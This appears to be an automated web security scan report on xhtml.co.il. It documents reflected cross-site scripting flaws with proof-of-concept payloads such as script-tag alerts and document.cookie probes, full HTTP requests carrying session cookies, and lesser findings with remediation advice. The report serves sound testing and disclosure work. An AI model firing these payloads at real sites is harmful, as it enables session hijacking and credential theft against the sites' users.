Reflected cross-site scripting vulnerabilities arise when data is copied from a request and echoed into the application's immediate response in an unsafe way. An attacker can use the vulnerability to construct a request which, if issued by another application user, will cause JavaScript code supplied by the attacker to execute within the user's browser in the context of that user's session with the application.
The attacker-supplied code can perform a wide variety of actions, such as stealing the victim's session token or login credentials, performing arbitrary actions on the victim's behalf, and logging their keystrokes.
Users can be induced to issue the attacker's crafted request in various ways. For example, the attacker can send a victim a link containing a malicious URL in an email or instant message. They can submit the link to popular web sites that allow content authoring, for example in blog comments. And they can create an innocuous looking web site which causes anyone viewing it to make arbitrary cross-domain requests to the vulnerable application (using either the GET or the POST method).
The security impact of cross-site scripting vulnerabilities is dependent upon the nature of the vulnerable application, the kinds of data and functionality which it contains, and the other applications which belong to the same domain and organisation. If the application is used only to display non-sensitive public content, with no authentication or access control functionality, then a cross-site scripting flaw may be considered low risk. However, if the same application resides on a domain which can access cookies for other more security-critical applications, then the vulnerability could be used to attack those other applications, and so may be considered high risk. Similarly, if the organisation which owns the application is a likely target for phishing attacks, then the vulnerability could be leveraged to lend credibility to such attacks, by injecting Trojan functionality into the vulnerable application, and exploiting users' trust in the organisation in order to capture credentials for other applications which it owns. In many kinds of application, such as those providing online banking functionality, cross-site scripting should always be considered high risk.
Issue remediation
In most situations where user-controllable data is copied into application responses, cross-site scripting attacks can be prevented using two layers of defenses:
Input should be validated as strictly as possible on arrival, given the kind of content which it is expected to contain. For example, personal names should consist of alphabetical and a small range of typographical characters, and be relatively short; a year of birth should consist of exactly four numerals; email addresses should match a well-defined regular expression. Input which fails the validation should be rejected, not sanitised.
User input should be HTML-encoded at any point where it is copied into application responses. All HTML metacharacters, including < > " ' and =, should be replaced with the corresponding HTML entities (< > etc).
In cases where the application's functionality allows users to author content using a restricted subset of HTML tags and attributes (for example, blog comments which allow limited formatting and linking), it is necessary to parse the supplied HTML to validate that it does not use any dangerous syntax; this is a non-trivial task.
The value of the 72f1f'%3E%3Cscript%3Ealert(document.cookie)%3C/script%3Eb977444cfbf request parameter is copied into the value of an HTML tag attribute which is not encapsulated in any quotation marks. The payload e7286><script>alert(1)</script>743a078ad1e was submitted in the 72f1f'%3E%3Cscript%3Ealert(document.cookie)%3C/script%3Eb977444cfbf parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /he/page-700/jQuery?72f1f'%3E%3Cscript%3Ealert(document.cookie)%3C/script%3Eb977444cfbf=1e7286><script>alert(1)</script>743a078ad1e HTTP/1.1 Host: xhtml.co.il Proxy-Connection: keep-alive Referer: http://xhtml.co.il/he/page-700/jQuery?72f1f'%3E%3Cscript%3Ealert(document.cookie)%3C/script%3Eb977444cfbf=1 Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: PHPSESSID=94df923df509291d6d4c6b876602b889
1.2. http://xhtml.co.il/he/page-700/jQuery [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://xhtml.co.il
Path:
/he/page-700/jQuery
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in single quotation marks. The payload 72f1f'><script>alert(1)</script>b977444cfbf was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /he/page-700/jQuery?72f1f'><script>alert(1)</script>b977444cfbf=1 HTTP/1.1 Host: xhtml.co.il Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
1.3. http://xhtml.co.il/ru/jQuery/%D0%9F%D0%BE%D0%B6%D0%B5%D1%80%D1%82%D0%B2%D0%BE%D0%B2%D0%B0%D1%82%D1%8C-%D0%BD%D0%B0-%D0%BF%D1%80%D0%BE%D0%B5%D0%BA%D1%82 [name of an arbitrarily supplied request parameter]previousnext
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload d913e"><script>alert(1)</script>7cef1aef425 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /ru/jQuery/%D0%9F%D0%BE%D0%B6%D0%B5%D1%80%D1%82%D0%B2%D0%BE%D0%B2%D0%B0%D1%82%D1%8C-%D0%BD%D0%B0-%D0%BF%D1%80%D0%BE%D0%B5%D0%BA%D1%82?d913e"><script>alert(1)</script>7cef1aef425=1 HTTP/1.1 Host: xhtml.co.il Proxy-Connection: keep-alive Referer: http://xhtml.co.il/ru/page-1013/jQuery.browser?2baaa'%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E50c1d38299f=1 Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: __utmz=38148970.1297258072.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/10; PHPSESSID=94df923df509291d6d4c6b876602b889; hotlog=1; __utma=38148970.477490892.1297258072.1297258072.1297258072.1; __utmc=38148970; __utmb=38148970.3.10.1297258072
1.4. http://xhtml.co.il/ru/jQuery/%D0%9F%D0%BE%D0%B6%D0%B5%D1%80%D1%82%D0%B2%D0%BE%D0%B2%D0%B0%D1%82%D1%8C-%D0%BD%D0%B0-%D0%BF%D1%80%D0%BE%D0%B5%D0%BA%D1%82 [name of an arbitrarily supplied request parameter]previousnext
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in single quotation marks. The payload 25c3a'><script>alert(1)</script>dcbeb73c932 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /ru/jQuery/%D0%9F%D0%BE%D0%B6%D0%B5%D1%80%D1%82%D0%B2%D0%BE%D0%B2%D0%B0%D1%82%D1%8C-%D0%BD%D0%B0-%D0%BF%D1%80%D0%BE%D0%B5%D0%BA%D1%82?25c3a'><script>alert(1)</script>dcbeb73c932=1 HTTP/1.1 Host: xhtml.co.il Proxy-Connection: keep-alive Referer: http://xhtml.co.il/ru/page-1013/jQuery.browser?2baaa'%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E50c1d38299f=1 Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: __utmz=38148970.1297258072.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/10; PHPSESSID=94df923df509291d6d4c6b876602b889; hotlog=1; __utma=38148970.477490892.1297258072.1297258072.1297258072.1; __utmc=38148970; __utmb=38148970.3.10.1297258072
The value of the 2baaa'%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E50c1d38299f request parameter is copied into the value of an HTML tag attribute which is not encapsulated in any quotation marks. The payload 27130><script>alert(1)</script>00820c2b36b was submitted in the 2baaa'%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E50c1d38299f parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /ru/page-1013/jQuery.browser?2baaa'%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E50c1d38299f=127130><script>alert(1)</script>00820c2b36b HTTP/1.1 Host: xhtml.co.il Proxy-Connection: keep-alive Referer: http://xhtml.co.il/ru/page-1013/jQuery.browser?2baaa'%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E50c1d38299f=1 Cache-Control: max-age=0 Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: hotlog=1; __utmz=38148970.1297258072.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/10; __utma=38148970.477490892.1297258072.1297258072.1297258072.1; __utmc=38148970; __utmb=38148970.1.10.1297258072; PHPSESSID=86cb34f1c9121c74893b6c08760f16a6
1.6. http://xhtml.co.il/ru/page-1013/jQuery.browser [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://xhtml.co.il
Path:
/ru/page-1013/jQuery.browser
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in single quotation marks. The payload 2baaa'><script>alert(1)</script>50c1d38299f was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /ru/page-1013/jQuery.browser?2baaa'><script>alert(1)</script>50c1d38299f=1 HTTP/1.1 Host: xhtml.co.il Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
If the HttpOnly attribute is set on a cookie, then the cookie's value cannot be read or set by client-side JavaScript. This measure can prevent certain client-side attacks, such as cross-site scripting, from trivially capturing the cookie's value via an injected script.
Issue remediation
There is usually no good reason not to set the HttpOnly flag on all cookies. Unless you specifically require legitimate client-side scripts within your application to read or set a cookie's value, you should set the HttpOnly flag by including this attribute within the relevant Set-cookie directive.
You should be aware that the restrictions imposed by the HttpOnly flag can potentially be circumvented in some circumstances, and that numerous other serious attacks can be delivered by client-side script injection, aside from simple cookie stealing.
The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /he/page-700/jQuery HTTP/1.1 Host: xhtml.co.il Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /ru/page-1013/jQuery.browser HTTP/1.1 Host: xhtml.co.il Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The page contains a form which POSTs data to the domain www.paypal.com. The form contains the following fields:
cmd
hosted_button_id
submit
Issue background
The POSTing of data between domains does not necessarily constitute a security vulnerability. You should review the contents of the information that is being transmitted between domains, and determine whether the originating application should be trusting the receiving domain with this information.
Request
GET /ru/jQuery/%D0%9F%D0%BE%D0%B6%D0%B5%D1%80%D1%82%D0%B2%D0%BE%D0%B2%D0%B0%D1%82%D1%8C-%D0%BD%D0%B0-%D0%BF%D1%80%D0%BE%D0%B5%D0%BA%D1%82 HTTP/1.1 Host: xhtml.co.il Proxy-Connection: keep-alive Referer: http://xhtml.co.il/ru/page-1013/jQuery.browser?2baaa'%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E50c1d38299f=1 Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: __utmz=38148970.1297258072.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/10; PHPSESSID=94df923df509291d6d4c6b876602b889; hotlog=1; __utma=38148970.477490892.1297258072.1297258072.1297258072.1; __utmc=38148970; __utmb=38148970.3.10.1297258072
When a web browser makes a request for a resource, it typically adds an HTTP header, called the "Referer" header, indicating the URL of the resource from which the request originated. This occurs in numerous situations, for example when a web page loads an image or script, or when a user clicks on a link or submits a form.
If the resource being requested resides on a different domain, then the Referer header is still generally included in the cross-domain request. If the originating URL contains any sensitive information within its query string, such as a session token, then this information will be transmitted to the other domain. If the other domain is not fully trusted by the application, then this may lead to a security compromise.
You should review the contents of the information being transmitted to other domains, and also determine whether those domains are fully trusted by the originating application.
Today's browsers may withhold the Referer header in some situations (for example, when loading a non-HTTPS resource from a page that was loaded over HTTPS, or when a Refresh directive is issued), but this behaviour should not be relied upon to protect the originating URL from disclosure.
Note also that if users can author content within the application then an attacker may be able to inject links referring to a domain they control in order to capture data from URLs used within the application.
Issue remediation
The application should never transmit any sensitive information within the URL query string. In addition to being leaked in the Referer header, such information may be logged in various locations and may be visible on-screen to untrusted parties.
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <html> <head> <script src="http://code.jquery.com/jquery-1.5.js"></script> ...[SNIP]...
5. Cross-domain script includepreviousnext There are 6 instances of this issue:
When an application includes a script from an external domain, this script is executed by the browser within the security context of the invoking application. The script can therefore do anything that the application's own scripts can do, such as accessing application data and performing actions within the context of the current user.
If you include a script from an external domain, then you are trusting that domain with the data and functionality of your application, and you are trusting the domain's own security to prevent an attacker from modifying the script to perform malicious actions within your application.
Issue remediation
Scripts should not be included from untrusted domains. If you have a requirement which a third-party script appears to fulfil, then you should ideally copy the contents of that script onto your own domain and include it from there. If that is not possible (e.g. for licensing reasons) then you should consider reimplementing the script's functionality within your own code.
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <html> <head> <script src="http://code.jquery.com/jquery-latest.js"></script> ...[SNIP]...
GET /he/page-700/jQuery HTTP/1.1 Host: xhtml.co.il Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
GET /ru/page-1013/jQuery.browser HTTP/1.1 Host: xhtml.co.il Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <html> <head> <script src="http://code.jquery.com/jquery-1.5.js"></script> ...[SNIP]...
6. Email addresses disclosedpreviousnext There are 3 instances of this issue:
The presence of email addresses within application responses does not necessarily constitute a security vulnerability. Email addresses may appear intentionally within contact information, and many applications (such as web mail) include arbitrary third-party email addresses within their core content.
However, email addresses of developers and other individuals (whether appearing on-screen or hidden within page source) may disclose information that is useful to an attacker; for example, they may represent usernames that can be used at the application's login, and they may be used in social engineering attacks against the organisation's personnel. Unnecessary or excessive disclosure of email addresses may also lead to an increase in the volume of spam email received.
Issue remediation
You should review the email addresses being disclosed by the application, and consider removing any that are unnecessary, or replacing personal addresses with anonymous mailbox addresses (such as helpdesk@example.com).
The following email addresses were disclosed in the response:
--Rating@Mail.ru
Rating@Mail.ru
Request
GET /he/page-700/jQuery HTTP/1.1 Host: xhtml.co.il Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The following email addresses were disclosed in the response:
--Rating@Mail.ru
Rating@Mail.ru
Request
GET /ru/page-1013/jQuery.browser HTTP/1.1 Host: xhtml.co.il Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
If a web response states that it contains HTML content but does not specify a character set, then the browser may analyse the HTML and attempt to determine which character set it appears to be using. Even if the majority of the HTML actually employs a standard character set such as UTF-8, the presence of non-standard characters anywhere in the response may cause the browser to interpret the content using a different character set. This can have unexpected results, and can lead to cross-site scripting vulnerabilities in which non-standard encodings like UTF-7 can be used to bypass the application's defensive filters.
In most cases, the absence of a charset directive does not constitute a security flaw, particularly if the response contains static content. You should review the contents of the response and the context in which it appears to determine whether any vulnerability exists.
Issue remediation
For every response containing HTML content, the application should include within the Content-type header a directive specifying a standard recognised character set, for example charset=ISO-8859-1.
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <html> <head> <script src="http://code.jquery.com/jquery-latest.js"></ ...[SNIP]...
GET /he/page-700/jQuery HTTP/1.1 Host: xhtml.co.il Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
GET /ru/page-1013/jQuery.browser HTTP/1.1 Host: xhtml.co.il Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <html> <head> <script src="http://code.jquery.com/jquery-1.5.js"></scrip ...[SNIP]...